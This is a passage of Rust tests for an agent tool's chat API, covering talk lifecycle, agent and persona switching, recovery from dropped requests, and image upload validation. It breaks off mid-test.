8734    /// real `Config::discover` to find an agent - `talk::begin` resolves one
8735    /// even though it takes no turn, and `talk_say` invokes one.
8736    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
8737        let tmp = TempDir::new().expect("tempdir");
8738        let repo = tmp.path().join("repo");
8739        std::fs::create_dir_all(&repo).expect("repo dir");
8740        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8741        let f = Fixture::with_repo(repo.clone()).await;
8742        (tmp, repo, f)
8743    }
8744
8745    #[tokio::test]
8746    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
8747        let (_tmp, _repo, f) = talk_fixture().await;
8748
8749        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
8750        // is the ordinary way a phone opens a talk.
8751        let opened = f.post("/api/talks", None).await;
8752        assert_eq!(opened.status, 201, "{}", opened.body);
8753        let body = opened.json();
8754        assert_eq!(body["status"], "open");
8755        assert_eq!(
8756            body["turns"].as_array().unwrap().len(),
8757            0,
8758            "opening takes no agent turn: there is nothing yet to answer"
8759        );
8760
8761        // An explicit empty object is the same request as none at all.
8762        let also_opened = f.post("/api/talks", Some("{}")).await;
8763        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
8764
8765        let listed = f.get("/api/talks").await.json();
8766        assert_eq!(listed.as_array().unwrap().len(), 2);
8767    }
8768
8769    #[tokio::test]
8770    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
8771        let tmp = TempDir::new().expect("tempdir");
8772        let repo = tmp.path().join("repo");
8773        std::fs::create_dir_all(&repo).expect("repo dir");
8774        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
8775        std::fs::write(
8776            repo.join("magi.toml"),
8777            format!("{MOCK_AGENT_TOML}\n{second}"),
8778        )
8779        .expect("write magi.toml");
8780        let home = TempDir::new().expect("temp home");
8781        let talks = Talks::at(home.path().join("talks"));
8782        let ui = Arc::new(
8783            Ui::new(
8784                Queue::at(home.path().join("queue")),
8785                Questions::at(home.path().join("questions")),
8786                talks.clone(),
8787                home.path().join("runs"),
8788                home.path().to_path_buf(),
8789                repo.clone(),
8790            )
8791            .with_worktrees_root(home.path().join("wt")),
8792        );
8793        let cfg = config_for(&repo).await.expect("discover config");
8794        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
8795        let id = talk.id.clone();
8796        let call = |agent: &str| {
8797            talk_agent(
8798                State(Arc::clone(&ui)),
8799                Path(id.clone()),
8800                Json(TalkAgent {
8801                    agent: agent.to_owned(),
8802                }),
8803            )
8804        };
8805
8806        let unknown = call("nobody").await.expect_err("unknown agent");
8807        assert_eq!(
8808            unknown.status,
8809            StatusCode::BAD_REQUEST,
8810            "{}",
8811            unknown.message
8812        );
8813
8814        {
8815            // The refused call hands its claim to a drain loop that releases
8816            // it a moment later.
8817            let mut claimed = None;
8818            for _ in 0..200 {
8819                claimed = ui.begin_talk_turn(&id).expect("claim");
8820                if claimed.is_some() {
8821                    break;
8822                }
8823                tokio::time::sleep(Duration::from_millis(10)).await;
8824            }
8825            let _busy = claimed.expect("free");
8826            let busy = call("second").await.expect_err("busy talk");
8827            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
8828        }
8829        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
8830
8831        let Json(view) = call("second").await.expect("switch");
8832        assert_eq!(view.talk.agent, "second");
8833        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
8834        let saved = talks.get(&id).expect("reload");
8835        assert_eq!(saved.agent, "second");
8836        assert_eq!(saved.turns.len(), 1);
8837
8838        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
8839            .await
8840            .expect("detail");
8841        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
8842        assert_eq!(roster, ["mock", "second"]);
8843
8844        let mut closed = talks.get(&id).expect("reload");
8845        talk::close(&mut closed, &talks).expect("close");
8846        let refused = call("mock").await.expect_err("closed talk");
8847        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
8848    }
8849
8850    #[tokio::test]
8851    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
8852        let tmp = TempDir::new().expect("tempdir");
8853        let repo = tmp.path().join("repo");
8854        std::fs::create_dir_all(&repo).expect("repo dir");
8855        std::fs::write(
8856            repo.join("magi.toml"),
8857            format!(
8858                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
8859            ),
8860        )
8861        .expect("write magi.toml");
8862        let home = TempDir::new().expect("temp home");
8863        let talks = Talks::at(home.path().join("talks"));
8864        let ui = Arc::new(
8865            Ui::new(
8866                Queue::at(home.path().join("queue")),
8867                Questions::at(home.path().join("questions")),
8868                talks.clone(),
8869                home.path().join("runs"),
8870                home.path().to_path_buf(),
8871                repo.clone(),
8872            )
8873            .with_worktrees_root(home.path().join("wt")),
8874        );
8875        let cfg = config_for(&repo).await.expect("discover config");
8876        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
8877        let id = talk.id.clone();
8878        let call = |persona: &str| {
8879            talk_persona(
8880                State(Arc::clone(&ui)),
8881                Path(id.clone()),
8882                Json(TalkPersona {
8883                    persona: persona.to_owned(),
8884                }),
8885            )
8886        };
8887
8888        let unknown = call("nobody").await.expect_err("unknown persona");
8889        assert_eq!(
8890            unknown.status,
8891            StatusCode::BAD_REQUEST,
8892            "{}",
8893            unknown.message
8894        );
8895
8896        {
8897            let mut claimed = None;
8898            for _ in 0..200 {
8899                claimed = ui.begin_talk_turn(&id).expect("claim");
8900                if claimed.is_some() {
8901                    break;
8902                }
8903                tokio::time::sleep(Duration::from_millis(10)).await;
8904            }
8905            let _busy = claimed.expect("free");
8906            let busy = call("rei").await.expect_err("busy talk");
8907            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
8908        }
8909        assert_eq!(talks.get(&id).expect("reload").persona, "");
8910
8911        let Json(view) = call("gendo").await.expect("switch to a configured persona");
8912        assert_eq!(view.talk.persona, "gendo");
8913        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
8914
8915        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
8916            .await
8917            .expect("detail");
8918        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
8919        assert_eq!(ids.first(), Some(&"default"));
8920        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
8921
8922        let Json(view) = call("default").await.expect("back to default");
8923        assert_eq!(view.talk.persona, "");
8924
8925        let mut closed = talks.get(&id).expect("reload");
8926        talk::close(&mut closed, &talks).expect("close");
8927        let refused = call("rei").await.expect_err("closed talk");
8928        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
8929    }
8930
8931    #[tokio::test]
8932    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
8933        let f = Fixture::start().await;
8934        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
8935        let queue = f.queue();
8936        let mut mine = Task::new(
8937            "rename the loader".to_owned(),
8938            "rename the loader".to_owned(),
8939            PathBuf::from("/repo/magi"),
8940            Source::Agent {
8941                run: talk_id.clone(),
8942                node: "chat".to_owned(),
8943            },
8944        );
8945        queue.put(&mut mine).expect("file the task");
8946        let mut theirs = Task::new(
8947            "unrelated".to_owned(),
8948            "unrelated".to_owned(),
8949            PathBuf::from("/repo/magi"),
8950            Source::Human,
8951        );
8952        queue.put(&mut theirs).expect("file the task");
8953
8954        let res = f.get(&format!("/api/talks/{talk_id}")).await;
8955        assert_eq!(res.status, 200, "{}", res.body);
8956        let body = res.json();
8957        assert_eq!(
8958            body["status"], "open",
8959            "filing a task does not close a talk"
8960        );
8961        let tasks = body["tasks"].as_array().expect("tasks array");
8962        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
8963        assert_eq!(tasks[0]["id"], mine.id);
8964    }
8965
8966    #[tokio::test]
8967    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
8968        let (_tmp, _repo, f) = talk_fixture().await;
8969        let id = f.post("/api/talks", None).await.json()["id"]
8970            .as_str()
8971            .expect("id")
8972            .to_owned();
8973
8974        let res = f
8975            .post(
8976                &format!("/api/talks/{id}/say"),
8977                Some(r#"{"text":"what does the queue module do?"}"#),
8978            )
8979            .await;
8980        assert_eq!(res.status, 202, "{}", res.body);
8981        let queued = res.json();
8982        let turns = queued["turns"].as_array().expect("turns array");
8983        assert_eq!(
8984            turns.len(),
8985            1,
8986            "the answer reflects only what is on disk the instant it is sent, \
8987             before the agent's turn - which can run for the whole of \
8988             `[graph] timeout_talk` - has a chance to land: {queued}"
8989        );
8990        assert_eq!(turns[0]["who"], "operator");
8991        assert_eq!(turns[0]["body"], "what does the queue module do?");
8992        assert_eq!(
8993            queued["thinking"], true,
8994            "the accepted response exposes the background turn claim: {queued}"
8995        );
8996
8997        let mut turns_after = 1;
8998        for _ in 0..SETTLE_STEPS {
8999            let detail = f.get(&format!("/api/talks/{id}")).await.json();
9000            turns_after = detail["turns"].as_array().expect("turns array").len();
9001            if turns_after == 2 {
9002                break;
9003            }
9004            tokio::time::sleep(Duration::from_millis(10)).await;
9005        }
9006        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
9007    }
9008
9009    /// A phone that reloads mid-request drops `talk_say`'s whole handler
9010    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
9011    /// guards against: `talk::record` used to return, and only *then* did the
9012    /// handler make a second, separate disk round trip before spawning the
9013    /// agent's reply task. A future dropped in that gap left a message
9014    /// recorded on disk with no reply task ever started and no way back short
9015    /// of a fresh message - and the gap was not even the whole story: *any*
9016    /// `.await` in this handler, including the very first one, is a point
9017    /// where a drop can land after the awaited work already finished but
9018    /// before this handler's own code resumes to act on it. `record` now
9019    /// runs inside the task `tokio::spawn` hands to the runtime before this
9020    /// handler ever awaits anything of its own again, so there is nothing
9021    /// left in *this* handler's future for a disconnect to interrupt between
9022    /// the message landing on disk and the reply task starting.
9023    ///
9024    /// A real socket disconnect cannot be relied on to land in the old gap
9025    /// from a test - over loopback, `talk_say` typically finishes before the
9026    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
9027    /// same failure mode directly: it drops the task's future at whatever
9028    /// point it has reached, exactly what axum does to the handler future,
9029    /// without needing to win a real network race. Sweeping the delay before
9030    /// aborting samples a range of points the task's execution can be at,
9031    /// including where the old code sat waiting on its second disk round
9032    /// trip - confirmed by reverting this fix locally and watching this same
9033    /// sweep catch a talk stuck with the operator's turn recorded and no
9034    /// reply ever following.
9035    #[tokio::test]
9036    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
9037        let tmp = TempDir::new().expect("tempdir");
9038        let repo = tmp.path().join("repo");
9039        std::fs::create_dir_all(&repo).expect("repo dir");
9040        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9041        let home = TempDir::new().expect("temp home");
9042        let talks = Talks::at(home.path().join("talks"));
9043        let ui = Arc::new(
9044            Ui::new(
9045                Queue::at(home.path().join("queue")),
9046                Questions::at(home.path().join("questions")),
9047                talks.clone(),
9048                home.path().join("runs"),
9049                home.path().to_path_buf(),
9050                repo.clone(),
9051            )
9052            .with_worktrees_root(home.path().join("wt")),
9053        );
9054        let cfg = config_for(&repo).await.expect("discover config");
9055
9056        for delay in 0..40u32 {
9057            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9058            let id = talk.id.clone();
9059
9060            let handler = tokio::spawn(talk_say(
9061                State(Arc::clone(&ui)),
9062                Path(id.clone()),
9063                Ok(Json(NewTalkTurn {
9064                    text: "what does the queue module do?".to_owned(),
9065                    attachments: Vec::new(),
9066                })),
9067            ));
9068            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
9069            handler.abort();
9070            // Wait out the abort so the next iteration's talk does not race
9071            // this one's still-unwinding turn guard.
9072            let _ = handler.await;
9073
9074            let mut turns = 0;
9075            for _ in 0..SETTLE_STEPS {
9076                if let Ok(fresh) = talks.get(&id) {
9077                    turns = fresh.turns.len();
9078                    if turns != 1 {
9079                        break;
9080                    }
9081                }
9082                tokio::time::sleep(Duration::from_millis(10)).await;
9083            }
9084            assert_ne!(
9085                turns, 1,
9086                "delay {delay}: talk {id} recorded the operator's turn but \
9087                 the agent never answered - the reply task was never \
9088                 started after the handler future was dropped"
9089            );
9090        }
9091    }
9092
9093    /// The same drop, landing on `talk_say`'s other durable write.
9094    ///
9095    /// When a turn is already running, the busy branch persists the
9096    /// operator's text as a queued draft and then reclaims the turn slot if
9097    /// the holder gave it up in the meantime - and whoever reclaims owes that
9098    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
9099    /// which finishes whether or not the future awaiting it is still there,
9100    /// so a handler dropped at that `.await` used to leave the draft written
9101    /// to disk with the reclaimed guard dropped unread and no drainer ever
9102    /// started: the message sat queued until some unrelated later `say`
9103    /// happened to pick it up.
9104    ///
9105    /// This used to drive the handler future by hand, polling it a fixed
9106    /// number of times to park it at the `.await` where it asks for the turn
9107    /// and finds it busy, before the reclaim's slot-free case could be set up
9108    /// underneath it. That assumed a fixed number of polls lands at a fixed
9109    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
9110    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
9111    /// poll, so any number of this handler's several `blocking` awaits can
9112    /// collapse into one poll under load, landing the drive somewhere other
9113    /// than intended - including, occasionally, straight past the handler's
9114    /// own completion, which made polling it again panic with "async fn
9115    /// resumed after completion". No poll count fixes that; the handler's
9116    /// progress simply is not something a caller outside it can observe by
9117    /// counting.
9118    ///
9119    /// [`BusyQueueGate`] replaces the poll count with a real stop point
9120    /// inside the write itself, so the interleaving under test is pinned by
9121    /// an event instead of a guess: the gate fires only once the handler has
9122    /// actually decided `Busy` and is about to persist the draft, and it
9123    /// blocks that write until the test lets it through. Between those two
9124    /// moments the test drains the turn the handler found busy - through
9125    /// `drain_loop`, the protocol's other half - and then aborts the handler
9126    /// task outright, the same way axum drops a disconnected request's
9127    /// future. The write, and the reclaim it may do, run to completion
9128    /// regardless: they live in the `tokio::spawn` task the busy branch hands
9129    /// to the runtime before ever touching the gate, wholly independent of
9130    /// whether the handler that started it is still around - which is what
9131    /// this test is actually checking. A drainer other than that reclaim
9132    /// cannot exist here: the test's own `drain_loop` call happens before the
9133    /// gate opens, so it runs while the queue is still empty and hands the
9134    /// turn straight back rather than draining anything, closing off the
9135    /// possibility of the final assertion passing without the reclaim ever
9136    /// having done its job.
9137    #[tokio::test]
9138    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
9139        let tmp = TempDir::new().expect("tempdir");
9140        let repo = tmp.path().join("repo");
9141        std::fs::create_dir_all(&repo).expect("repo dir");
9142        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9143        let home = TempDir::new().expect("temp home");
9144        let talks = Talks::at(home.path().join("talks"));
9145        let ui = Arc::new(
9146            Ui::new(
9147                Queue::at(home.path().join("queue")),
9148                Questions::at(home.path().join("questions")),
9149                talks.clone(),
9150                home.path().join("runs"),
9151                home.path().to_path_buf(),
9152                repo.clone(),
9153            )
9154            .with_worktrees_root(home.path().join("wt")),
9155        );
9156        let cfg = config_for(&repo).await.expect("discover config");
9157
9158        for attempt in 0..3u32 {
9159            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9160            let id = talk.id.clone();
9161            // A turn is already running, which is what sends `talk_say` down
9162            // the busy branch.
9163            let turn_guard = ui
9164                .begin_talk_turn(&id)
9165                .expect("claim the turn")
9166                .expect("a fresh talk owes nobody a turn");
9167
9168            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
9169            let (release_tx, release_rx) = std::sync::mpsc::channel();
9170            ui.set_busy_queue_gate(BusyQueueGate {
9171                reached: reached_tx,
9172                release: release_rx,
9173            });
9174
9175            let handler = tokio::spawn(talk_say(
9176                State(Arc::clone(&ui)),
9177                Path(id.clone()),
9178                Ok(Json(NewTalkTurn {
9179                    text: "what does the queue module do?".to_owned(),
9180                    attachments: Vec::new(),
9181                })),
9182            ));
9183
9184            // Wait for the busy branch to actually reach the gate, rather
9185            // than for any fixed number of polls of anything - a bounded
9186            // wait rather than a bare `.await` so a regression that never
9187            // reaches the gate fails the test instead of hanging it.
9188            tokio::time::timeout(Duration::from_secs(5), reached_rx)
9189                .await
9190                .unwrap_or_else(|_| {
9191                    panic!(
9192                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
9193                    )
9194                })
9195                .expect("the busy branch dropped the gate without using it");
9196
9197            // The turn that was running now finishes and gives the slot up
9198            // the way a real one does - through `drain_loop`, which finds
9199            // nothing queued yet (the write is still held at the gate) and
9200            // releases. The handler, parked inside `spawn_blocking` on the
9201            // other side of the gate, still believes the talk is busy -
9202            // exactly the interleaving the reclaim exists for.
9203            let running = talks.get(&id).expect("reload talk");
9204            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
9205
9206            // Drop the handler future now, the way a reloading phone drops
9207            // it: suspended waiting on the busy branch's answer, having
9208            // itself made no more progress since it handed the write off.
9209            handler.abort();
9210            let _ = handler.await;
9211
9212            // Only now let the gated write proceed. It persists the draft
9213            // and reclaims the now-free slot from inside the task the busy
9214            // branch already spawned - unaffected by the handler's abort
9215            // above, since that task was independent of the handler's own
9216            // future from the moment it was spawned.
9217            let _ = release_tx.send(());
9218
9219            // A settled talk: the draft drained into an operator turn and
9220            // answered.
9221            let mut fresh = talks.get(&id).expect("reload talk");
9222            for _ in 0..SETTLE_STEPS {
9223                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
9224                    break;
9225                }
9226                tokio::time::sleep(Duration::from_millis(10)).await;
9227                fresh = talks.get(&id).expect("reload talk");
9228            }
9229            assert!(
9230                fresh.pending.is_empty() && fresh.turns.len() == 2,
9231                "attempt {attempt}: talk {id} left the operator's text queued \
9232                 with no drainer - the reclaimed turn was dropped along with \
9233                 the handler future (pending {:?}, {} turns)",
9234                fresh.pending,
9235                fresh.turns.len()
9236            );
9237        }
9238    }
9239
9240    #[tokio::test]
9241    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
9242        let (_tmp, _repo, f) = talk_fixture().await;
9243        let id = f.post("/api/talks", None).await.json()["id"]
9244            .as_str()
9245            .expect("id")
9246            .to_owned();
9247        let store = f.talks();
9248        let mut recovered = store.get(&id).expect("opened talk");
9249        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9250            .expect("persist pending draft without a live turn");
9251
9252        let edited = f
9253            .post(
9254                &format!("/api/talks/{id}/pending/edit"),
9255                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
9256            )
9257            .await;
9258        assert_eq!(edited.status, 200, "{}", edited.body);
9259        assert!(edited.json()["thinking"].as_bool().unwrap());
9260
9261        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
9262        for _ in 0..SETTLE_STEPS {
9263            if detail["turns"].as_array().expect("turns").len() == 2 {
9264                break;
9265            }
9266            tokio::time::sleep(Duration::from_millis(10)).await;
9267            detail = f.get(&format!("/api/talks/{id}")).await.json();
9268        }
9269        let turns = detail["turns"].as_array().expect("turns");
9270        assert_eq!(
9271            turns.len(),
9272            2,
9273            "the recovered draft must run once: {detail}"
9274        );
9275        assert_eq!(turns[0]["body"], "corrected");
9276        assert_eq!(detail["pending"], "");
9277    }
9278
9279    #[tokio::test]
9280    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
9281        let tmp = TempDir::new().expect("tempdir");
9282        let repo = tmp.path().join("repo");
9283        std::fs::create_dir_all(&repo).expect("repo dir");
9284        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9285        let f = Fixture::with_repo(repo).await;
9286        let id = f.post("/api/talks", None).await.json()["id"]
9287            .as_str()
9288            .expect("id")
9289            .to_owned();
9290        let store = f.talks();
9291        let mut recovered = store.get(&id).expect("opened talk");
9292        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9293            .expect("persist pending draft without a live turn");
9294
9295        let refused = f
9296            .post(
9297                &format!("/api/talks/{id}/say"),
9298                Some(r#"{"text":"new message"}"#),
9299            )
9300            .await;
9301        assert_eq!(refused.status, 409, "{}", refused.body);
9302        assert!(refused.body.contains("resume"), "{}", refused.body);
9303        let saved = store.get(&id).expect("draft remains after refusal");
9304        assert!(saved.turns.is_empty());
9305        assert_eq!(saved.pending, "saved before restart");
9306
9307        let say_path = format!("/api/talks/{id}/say");
9308        let (first, second) = tokio::join!(
9309            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
9310            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
9311        );
9312        assert_eq!(first.status, 409, "{}", first.body);
9313        assert_eq!(second.status, 409, "{}", second.body);
9314        let saved = store
9315            .get(&id)
9316            .expect("draft remains after concurrent refusals");
9317        assert!(saved.turns.is_empty());
9318        assert_eq!(saved.pending, "saved before restart");
9319
9320        let resumed = f
9321            .post(&format!("/api/talks/{id}/pending/resume"), None)
9322            .await;
9323        assert_eq!(resumed.status, 202, "{}", resumed.body);
9324        let duplicate = f
9325            .post(&format!("/api/talks/{id}/pending/resume"), None)
9326            .await;
9327        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
9328
9329        for _ in 0..SETTLE_STEPS {
9330            if store.get(&id).expect("talk").turns.len() == 2 {
9331                break;
9332            }
9333            tokio::time::sleep(Duration::from_millis(10)).await;
9334        }
9335        let finished = store.get(&id).expect("finished talk");
9336        assert_eq!(finished.turns.len(), 2, "{finished:?}");
9337        assert_eq!(finished.turns[0].body, "saved before restart");
9338        assert!(finished.pending.is_empty());
9339    }
9340
9341    #[tokio::test]
9342    async fn an_image_only_recovered_draft_resumes_without_text() {
9343        let (_tmp, _repo, f) = talk_fixture().await;
9344        let id = f.post("/api/talks", None).await.json()["id"]
9345            .as_str()
9346            .expect("id")
9347            .to_owned();
9348        let uploaded = f
9349            .post_bytes(
9350                &format!("/api/talks/{id}/attachments"),
9351                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
9352                PNG_BYTES,
9353            )
9354            .await;
9355        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9356        let attachment = f
9357            .talks()
9358            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
9359            .expect("attachment metadata")
9360            .expect("stored attachment");
9361        let store = f.talks();
9362        let mut recovered = store.get(&id).expect("opened talk");
9363        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
9364
9365        let resumed = f
9366            .post(&format!("/api/talks/{id}/pending/resume"), None)
9367            .await;
9368        assert_eq!(resumed.status, 202, "{}", resumed.body);
9369        for _ in 0..SETTLE_STEPS {
9370            if store.get(&id).expect("talk").turns.len() == 2 {
9371                break;
9372            }
9373            tokio::time::sleep(Duration::from_millis(10)).await;
9374        }
9375        let finished = store.get(&id).expect("finished talk");
9376        assert_eq!(finished.turns.len(), 2, "{finished:?}");
9377        assert!(finished.turns[0].body.is_empty());
9378        assert_eq!(finished.turns[0].attachments.len(), 1);
9379        assert!(finished.pending_attachments.is_empty());
9380    }
9381
9382    #[tokio::test]
9383    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
9384        let (_tmp, _repo, f) = talk_fixture().await;
9385        let id = f.post("/api/talks", None).await.json()["id"]
9386            .as_str()
9387            .expect("id")
9388            .to_owned();
9389        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9390        assert_eq!(closed.status, 200, "{}", closed.body);
9391        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9392            .expect("serialize closed talk");
9393        for (path, body) in [
9394            (format!("/api/talks/{id}/pending/resume"), None),
9395            (
9396                format!("/api/talks/{id}/pending/clear"),
9397                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
9398            ),
9399            (
9400                format!("/api/talks/{id}/pending/edit"),
9401                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
9402            ),
9403            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
9404        ] {
9405            let response = f.post(&path, body).await;
9406            assert_eq!(response.status, 409, "{}", response.body);
9407        }
9408        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9409            .expect("serialize closed talk");
9410        assert_eq!(
9411            after_clear, before_clear,
9412            "clear must not rewrite a closed talk"
9413        );
9414    }
9415
9416    /// Keeps both claims observable long enough to exercise the distinction
9417    /// between one busy talk and a globally locked Chat surface.
9418    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
9419
9420    #[tokio::test]
9421    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
9422        let tmp = TempDir::new().expect("tempdir");
9423        let repo = tmp.path().join("repo");
9424        std::fs::create_dir_all(&repo).expect("repo dir");
9425        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9426        let f = Fixture::with_repo(repo).await;
9427        let id_a = f.post("/api/talks", None).await.json()["id"]
9428            .as_str()
9429            .unwrap()
9430            .to_owned();
9431        let id_b = f.post("/api/talks", None).await.json()["id"]
9432            .as_str()
9433            .unwrap()
9434            .to_owned();
9435
9436        let a = f
9437            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
9438            .await;
9439        assert_eq!(a.status, 202, "{}", a.body);
9440        assert_eq!(a.json()["thinking"], true);
9441        let b = f
9442            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
9443            .await;
9444        assert_eq!(b.status, 202, "{}", b.body);
9445        assert_eq!(b.json()["thinking"], true);
9446
9447        let listed = f.get("/api/talks").await.json();
9448        for id in [&id_a, &id_b] {
9449            let view = listed
9450                .as_array()
9451                .unwrap()
9452                .iter()
9453                .find(|talk| talk["id"] == *id)
9454                .unwrap();
9455            assert_eq!(view["thinking"], true, "{listed}");
9456        }
9457        let repeated = f
9458            .post(
9459                &format!("/api/talks/{id_a}/say"),
9460                Some(r#"{"text":"again"}"#),
9461            )
9462            .await;
9463        assert_eq!(repeated.status, 202, "{}", repeated.body);
9464        assert_eq!(repeated.json()["pending"], "again");
9465    }
9466
9467    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
9468    /// few more, since real uploads are never exactly eight bytes.
9469    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
9470
9471    #[tokio::test]
9472    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
9473        let f = Fixture::start().await;
9474        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
9475
9476        let res = f
9477            .post_bytes(
9478                &format!("/api/talks/{id}/attachments"),
9479                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9480                PNG_BYTES,
9481            )
9482            .await;
9483        assert_eq!(res.status, 201, "{}", res.body);
9484        let body = res.json();
9485        assert_eq!(body["name"], "shot.png");
9486        assert_eq!(body["mime"], "image/png");
9487        assert_eq!(body["bytes"], PNG_BYTES.len());
9488        let att_id = body["id"].as_str().expect("id").to_owned();
9489        assert_eq!(
9490            att_id.len(),
9491            32,
9492            "the id must never be a client-suppliable path: {att_id}"
9493        );
9494
9495        let got = f
9496            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
9497            .await;
9498        assert_eq!(got.status, 200, "{}", got.body);
9499        assert_eq!(got.header("content-type"), Some("image/png"));
9500        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
9501        assert_eq!(got.bytes, PNG_BYTES);
9502    }
9503
9504    #[tokio::test]
9505    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
9506        let f = Fixture::start().await;
9507        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
9508
9509        // SVG can carry a `<script>`, so it is never on the whitelist even
9510        // though it is a real IANA image type.
9511        let svg = f
9512            .post_bytes(
9513                &format!("/api/talks/{id}/attachments"),
9514                &[("Content-Type", "image/svg+xml")],
9515                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
9516            )
9517            .await;
9518        assert!(
9519            (400..500).contains(&svg.status),
9520            "svg must be refused: {} {}",
9521            svg.status,
9522            svg.body
9523        );
9524        assert!(svg.body.contains("SVG"), "{}", svg.body);
9525
9526        let text = f
9527            .post_bytes(
9528                &format!("/api/talks/{id}/attachments"),
9529                &[("Content-Type", "text/plain")],
9530                b"just some text",
9531            )
9532            .await;
9533        assert!(
9534            (400..500).contains(&text.status),
9535            "an unlisted type must be refused: {} {}",
9536            text.status,
9537            text.body
9538        );
9539
9540        // The declared type is a real png, but the size check runs before
9541        // the bytes are even looked at.
9542        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
9543        let big = f
9544            .post_bytes(
9545                &format!("/api/talks/{id}/attachments"),
9546                &[("Content-Type", "image/png")],
9547                &oversized,
9548            )
9549            .await;
9550        assert_eq!(
9551            big.status,
9552            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
9553            "{}",
9554            big.body
9555        );
9556    }
9557
9558    #[tokio::test]
9559    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
9560        let f = Fixture::start().await;
9561        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
9562
9563        // A whitelisted `Content-Type`, but bytes that are not actually a
9564        // png - the declared header alone is never trusted.
9565        let res = f
9566            .post_bytes(
9567                &format!("/api/talks/{id}/attachments"),
